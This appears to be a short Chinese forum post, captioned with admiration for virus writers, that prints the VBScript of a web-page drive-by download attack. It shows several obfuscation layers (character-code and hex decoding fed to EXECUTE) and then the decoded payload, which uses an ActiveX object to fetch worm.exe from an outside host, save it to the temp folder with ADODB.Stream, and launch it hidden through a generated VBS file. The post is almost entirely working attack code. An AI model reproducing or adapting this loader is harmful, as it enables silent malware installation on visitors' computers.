实在佩服做病毒的“同志！”

Cn911="83,61,34,52,70,54,69,50,48,52,...省略了好几百个数字"
Function Rechange(Q)
S=Split(Q,",")
Cn922=""
For i = 0 To UBound(S)
Cn922=Cn922&Chr(eval(S(i)))
Next
Rechange=Cn922
End Function
EXECUTE(Rechange(Cn911))

S="4F6E204572726F7220...省略了上千个字符和数字":D="EXECUTE """"":C="&CHR(&H":N=")":DO WHILE LEN(S)>1:IF ISNUMERIC(LEFT(S,1)) THEN D=D&C&LEFT(S,2)&N:S=MID(S,3) ELSE D=D&C&LEFT(S,4)&N:S=MID(S,5) LOOP:EXECUTE D

EXECUTE &CHR(&H4F)&CHR(&H6E)&CHR(&H20)&...省略好几千个cha函数

On Error Resume Next CnLRU="http://www.fmben.com/worm.exe" Set Ob = document.createElement("ob"&"je"&"c"&"t") Ob.SetAttribute "cla"&"ssid", "c"&"ls"&"i"&"d:BD9"&"6C55"&"6-65"&"A3-11D0"&"-983A-00C"&"04FC29"&"E36" sHTTP="M"&"ic"&"ro"&"s"&"of"&"t"&".X"&"M"&"L"&"H"&"TT"&"P" Set Pop = Ob.CreateObject(sHTTP,"") Pop.Open "G"&"ET", CnLRU, False Pop.Send ExeName="Cn"&"91"&"1.exe" VbsName="Cn"&"91"&"1.vbs" Set FPI = Ob.createobject("Scri"&"p"&"ting.F"&"i"&"le"&"Sy"&"st"&"e"&"mO"&"bje"&"ct","") Set sTmp = FPI.GetSpecialFolder(2) ExeName=FPI.BuildPath(sTmp,ExeName) VbsName=FPI.BuildPath(sTmp,VbsName) AA="A"&"d" AB="o"&"d"&"b"&"."&"s"&"tre"&"am" AdM=AA&AB Set Bda = Ob.createobject(AdM,"") Bda.type=1 Bda.Open Bda.Write Pop.ResponseBody Bda.Savetofile ExeName,2 Bda.Close Bda.Type=2 Bda.Open Bda.WriteText "Set Shell = CreateObject(""Wscript.Shell"")"&vbCrLf&"Shell.Run ("""&ExeName&""")"&vbCrLf&"Set Shell = Nothing" Bda.Savetofile VbsName,2 Bda.Close sRun="S"&"h"&"e"&"l"&"l"&"."&"A"&"p"&"p"&"l"&"i" Set Run = Ob.createobject(sRun&"cation","") Run.ShellExecute VbsName,"","","Open",0

On Error Resume Next
CnLRU="http://www.fmben.com/worm.exe"
Set Ob = document.createElement("object")
Ob.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
sHTTP="Microsoft.XMLHTTP"
Set Pop = Ob.CreateObject(sHTTP,"")
Pop.Open "GET", CnLRU, False
Pop.Send ExeName="Cn911.exe"
VbsName="Cn911.vbs"
Set FPI = Ob.createobject("Scripting.FileSystemObject","")
Set sTmp = FPI.GetSpecialFolder(2)
ExeName=FPI.BuildPath(sTmp,ExeName)
VbsName=FPI.BuildPath(sTmp,VbsName)
AA="Ad"
AB="odb.stream"
AdM=AA&AB
Set Bda = Ob.createobject(AdM,"")
Bda.type=1
Bda.Open
Bda.Write
Pop.ResponseBody
Bda.Savetofile ExeName,2
Bda.Close
Bda.Type=2
Bda.Open
Bda.WriteText "Set Shell = CreateObject("Wscript.Shell")
Shell.Run ("&ExeName&")
Set Shell = Nothing"
Bda.Savetofile VbsName,2
Bda.Close
sRun="Shell.Appli"
Set Run = Ob.createobject(sRun&"cation","")
Run.ShellExecute VbsName,"","","Open",0